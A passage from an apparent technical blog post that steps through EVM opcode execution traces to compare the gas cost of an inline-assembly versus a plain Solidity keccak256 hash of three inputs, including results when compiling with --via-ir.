            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>               ]

<span class="hljs-comment">// exchange 4th and 1st stack elements</span>
SWAP3       [Stack : <span class="hljs-number">0xe0</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>               ]

<span class="hljs-comment">// store value of `c` into memory at NFMA</span>
MSTORE      [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>          ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// note: all input parameters are now stored in memory</span>

<span class="hljs-comment">// duplicate FMPA</span>
DUP1        [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>    ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// load Starting Next Free Memory Address (SNFMA) by reading FMPA</span>
MLOAD       [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>    ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// duplicate SNFMA</span>
<span class="hljs-comment">// note: subsequent opcodes related to `abi.encode`</span>
DUP1        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>  ]

<span class="hljs-comment">// duplicate SNFMA</span>
DUP5        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>        ]

<span class="hljs-comment">// subtract 2nd element from 1st</span>
SUB         [Stack : <span class="hljs-number">0x00</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>  ]

<span class="hljs-comment">// exchange 2nd and 1st stack elements</span>
SWAP1       [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>  ]

<span class="hljs-comment">// exchange 4th and 1st stack elements</span>
SWAP3       [Stack : <span class="hljs-number">0x60</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>  ]

<span class="hljs-comment">// calculate the `size` parameter required for</span>
<span class="hljs-comment">// the later keccak256 call</span>
ADD         [Stack : <span class="hljs-number">0x60</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>    ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// duplicate SNFMA</span>
DUP3        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>  ]

<span class="hljs-comment">// stores the `size` parameter (0x60) at SNFMA</span>
<span class="hljs-comment">// which will be used later for the keccak256 call</span>
MSTORE      [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                       ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// push SNFMA onto stack</span>
PUSH1(<span class="hljs-number">0x80</span>) [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                 ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// exchange 2nd and 1st stack elements</span>
SWAP1       [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                 ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// exchange 4th and 1st stack elements</span>
SWAP3       [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                 ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// calculate NFMA</span>
ADD         [Stack : <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                      ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// exchange 2nd and 1st stack elements</span>
SWAP1       [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                      ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// exchange 3rd and 1st stack elements</span>
SWAP2       [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                      ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// over-write value of FMPA with next NFMA</span>
MSTORE      [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                                    ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// note: normal version had to calculate a second additional NFMA</span>
<span class="hljs-comment">// and update memory at FMPA; optimized version didn't do any of this</span>

<span class="hljs-comment">// duplicate SNFMA</span>
DUP1        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                              ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// put value stored at SNFMA on stack</span>
<span class="hljs-comment">// this will be the `size` parameter for the keccak256</span>
<span class="hljs-comment">// call previously calculated</span>
MLOAD       [Stack : <span class="hljs-number">0x60</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                              ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// exchange 3rd and 1st stack elements</span>
SWAP2       [Stack : <span class="hljs-number">0x20</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                              ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// calculate memory address of first parameter; used</span>
<span class="hljs-comment">// as `offset` for keccak256</span>
ADD         [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                                    ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// call keccak256(offset, size)</span>
KECCAK256   [result, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>                                                ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x100</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x60</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xe0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]
</code></pre>
<h3 id="heading-gas-usage-comparison">Gas Usage Comparison</h3>
<p>In contrast to the assembly version, the solidity version:</p>
<ul>
<li><p>did <strong>not</strong> store the first input parameter <code>a</code> at the Starting Next Free Memory Address (SNFMA)</p>
</li>
<li><p>instead it calculated 3 additional Next Free Memory Addresses (NFMA) which it used to store input parameters <code>a, b, c</code></p>
</li>
<li><p>once this was completed there were 22 more opcodes in contrast to the assembly version's 3 more opcodes</p>
</li>
<li><p>calculated the <code>offset</code> parameter for <code>keccak256</code> which the assembly version hard-coded</p>
</li>
<li><p>updated the Free Memory Pointer Address (FMPA) which the assembly version didn't need to, even though it didn't end up using the updated address (<code>0x100</code>)</p>
</li>
<li><p>executed 48 opcodes in total compared to the 20 opcodes of the assembly version, including 3 <code>MLOAD</code> and 5 <code>MSTORE</code></p>
</li>
<li><p>used 204 gas instead of the assembly version's 117 resulting in a 74% increase to gas usage (204-117=87, (87/117)*100 = 74)</p>
</li>
<li><p>hence the assembly version provided a 42% gas saving compared to the solidity version (204-117=87, (87/204)*100 = 42)</p>
</li>
</ul>
<h3 id="heading-does-compiling-with-via-ir-help">Does Compiling With --via-ir Help?</h3>
<p>Compiling with --via-ir offers modest gas improvements to the relevant code:</p>
<ul>
<li><p>assembly version uses 108 gas, down from 117 gas</p>
</li>
<li><p>solidity version uses 195 gas, down from 204 gas</p>
</li>
</ul>
<p>The relevant execution traces follow.</p>
<h3 id="heading-execution-trace-assembly-via-ir-version">Execution Trace - Assembly --via-ir Version</h3>
<p>Execute this command: <code>forge test --match-contract GasDebugTest --debug test_GasImplAssembly --via-ir</code></p>
<p>We are concerned with the execution inside the <code>GasImplAssembly</code> contract:</p>
<ul>
<li><p>from the first <code>CALLDATALOAD</code> of the first input parameter <code>a</code></p>
</li>
<li><p>until <code>keccak256</code> has been called and the calculated hash put on the stack</p>
</li>
</ul>
<p>The above execution started at PC 0x32 (50) until 0x46 (70) and used 213-105 = 108 gas:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// push value of `a` onto stack from calldata</span>
CALLDATALOAD [Stack : <span class="hljs-number">0x01</span>]    
             [Memory:     ]

<span class="hljs-comment">// push Starting Next Free Memory Address (SNFMA) onto stack</span>
PUSH1(<span class="hljs-number">0x80</span>)  [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x01</span>]
             [Memory:           ]

<span class="hljs-comment">// store value of `a` into memory at SNFMA</span>
MSTORE       [Stack :            ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>]

<span class="hljs-comment">// push offset on stack to read next input variable</span>
PUSH1(<span class="hljs-number">0x24</span>)  [Stack : <span class="hljs-number">0x24</span>       ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>]

<span class="hljs-comment">// push value of `b` onto stack from calldata</span>
CALLDATALOAD [Stack : <span class="hljs-number">0x02</span>       ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>]

<span class="hljs-comment">// push Next Free Memory Address (NFMA) onto stack </span>
PUSH1(<span class="hljs-number">0xa0</span>)  [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x02</span> ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>]

<span class="hljs-comment">// note: --via-ir was able to pre-compute the free</span>
<span class="hljs-comment">// memory addresses such that it doesn't have to calculate</span>
<span class="hljs-comment">// them at runtime but can just push them onto the stack</span>

<span class="hljs-comment">// store value of `b` into memory at Next Free Memory Address (NFMA)</span>
MSTORE       [Stack :                         ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>]

<span class="hljs-comment">// push offset on stack to read next input variable</span>
PUSH1(<span class="hljs-number">0x44</span>)  [Stack : <span class="hljs-number">0x44</span>                    ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>]

<span class="hljs-comment">// push value of `c` onto stack from calldata</span>
CALLDATALOAD [Stack : <span class="hljs-number">0x03</span>                    ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>]

<span class="hljs-comment">// push Next Free Memory Address (NFMA) onto stack </span>
PUSH1(<span class="hljs-number">0xc0</span>)  [Stack : <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x03</span>              ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>]

<span class="hljs-comment">// store value of `c` into memory at Next Free Memory Address (NFMA)</span>
MSTORE       [Stack :                                      ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// note: all input parameters are now stored in memory</span>

<span class="hljs-comment">// push `size` parameter for call to keccak onto stack</span>
PUSH1(<span class="hljs-number">0x60</span>)  [Stack : <span class="hljs-number">0x60</span>                                 ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// push `offset` parameter for call to keccack onto stack</span>
PUSH1(<span class="hljs-number">0x80</span>)  [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x60</span>                           ]
             [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// call keccak256(offset, size)</span>
KECCAK256   [Stack : result                               ]
            [Memory: <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]
</code></pre>
<h3 id="heading-execution-trace-solidity-via-ir-version">Execution Trace - Solidity --via-ir Version</h3>
<p>Execute this command: <code>forge test --match-contract GasDebugTest --debug test_GasImplNormal --via-ir</code></p>
<p>We are concerned with the execution inside the <code>GasImplNormal</code> contract:</p>
<ul>
<li><p>from the first <code>CALLDATALOAD</code> of the first input parameter <code>a</code></p>
</li>
<li><p>until <code>keccak256</code> has been called and the calculated hash put on the stack</p>
</li>
</ul>
<p>The above execution started at PC 0x3a (58) until 0x72 (114) and used 318-123 = 195 gas:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// push value of `a` onto stack from calldata</span>
CALLDATALOAD [Stack : <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>]    
             [Memory:                       ]

<span class="hljs-comment">// duplicate Next Free Memory Address (NFMA) onto stack</span>
DUP2         [Stack : <span class="hljs-number">0x0a</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>]    
             [Memory:                             ]

<span class="hljs-comment">// store value of `a` into memory at NFMA</span>
MSTORE       [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>]    
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>     ]

<span class="hljs-comment">// push offset on stack to read next input variable</span>
PUSH1(<span class="hljs-number">0x24</span>)  [Stack : <span class="hljs-number">0x24</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>           ]

<span class="hljs-comment">// push value of `b` onto stack from calldata</span>
CALLDATALOAD [Stack : <span class="hljs-number">0x02</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>           ]

<span class="hljs-comment">// push Free Memory Pointer Address (FMPA) onto stack </span>
PUSH1(<span class="hljs-number">0x40</span>)  [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                 ]

<span class="hljs-comment">// duplicate 0x80</span>
DUP4         [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                       ]

<span class="hljs-comment">// calculate Next Free Memory Address (NFMA)</span>
ADD          [Stack : <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>]
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                 ]

<span class="hljs-comment">// store value of `b` into memory at NFMA</span>
MSTORE       [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x00</span>        ]    
             [Memory: <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>] 

<span class="hljs-comment">// push offset on stack to read next input variable</span>
